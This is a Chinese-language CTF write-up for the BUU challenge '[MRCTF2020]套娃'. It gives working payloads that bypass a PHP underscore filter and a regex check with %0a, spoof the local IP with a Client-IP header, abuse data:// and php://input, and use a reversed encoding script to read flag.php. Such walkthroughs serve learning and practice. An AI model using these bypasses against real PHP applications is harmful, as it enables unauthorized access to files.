BUU [MRCTF2020]套娃
开题,啥也没有。
查看网页源代码发现后端源代码:
<?php
//1st
$query = $_SERVER['QUERY_STRING'];
if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}
首先是关于$_SERVER['QUERY_STRING']
取值,例如: http://localhost/aaa/?p=222
,``$SERVER[‘QUERY_STRING’] = “p=222”,相当于获取了所有GET传参相关的URL段。题目要求不包含
`。这里用PHP的字符串解析特性:
PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
- 删除空白符
- 将某些字符( [ 空格 + . )转换为下划线
正则匹配preg_match('/^23333$/', $_GET['b_u_p_t'])
可以用%0a
来绕过。
^ $界定了必须在同一行,否则匹配不到,直接利用%0a(换行符)进行绕过。
payload:
?b.u.p.t=23333%0a
进入下一关secrettw.php
,提示应该从本地local
得到flag。
源码中有jsfuck编码过的提示,控制台直接运行返回post me Merak
随意POST一个Merak
,返回源码:
<?php
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';
if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>
首先是IP地址需要是127.0.0.1
,这里需要用client-ip
头绕过,XFF头不行。
然后是满足条件file_get_contents($_GET['2333']) === 'todat is a happy day'
以下两种方式均可。
2333=data://text/plain,todat is a happy day
2333=php://input
POST:todat is a happy day
最后是反写change($v)
函数,使得file_get_contents(change($_GET['file']))
语句可以成功包含flag.php
文件。
反写脚本:
<?php
function unchange($v){
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) - $i*2 );
}
return $re;
}
$real_flag = unchange('flag.php');
echo base64_encode($real_flag);
?>
得到ZmpdYSZmXGI=
最终payload:
/secrettw.php?2333=data://text/plain,todat is a happy day&file=ZmpdYSZmXGI=
flag在源码里。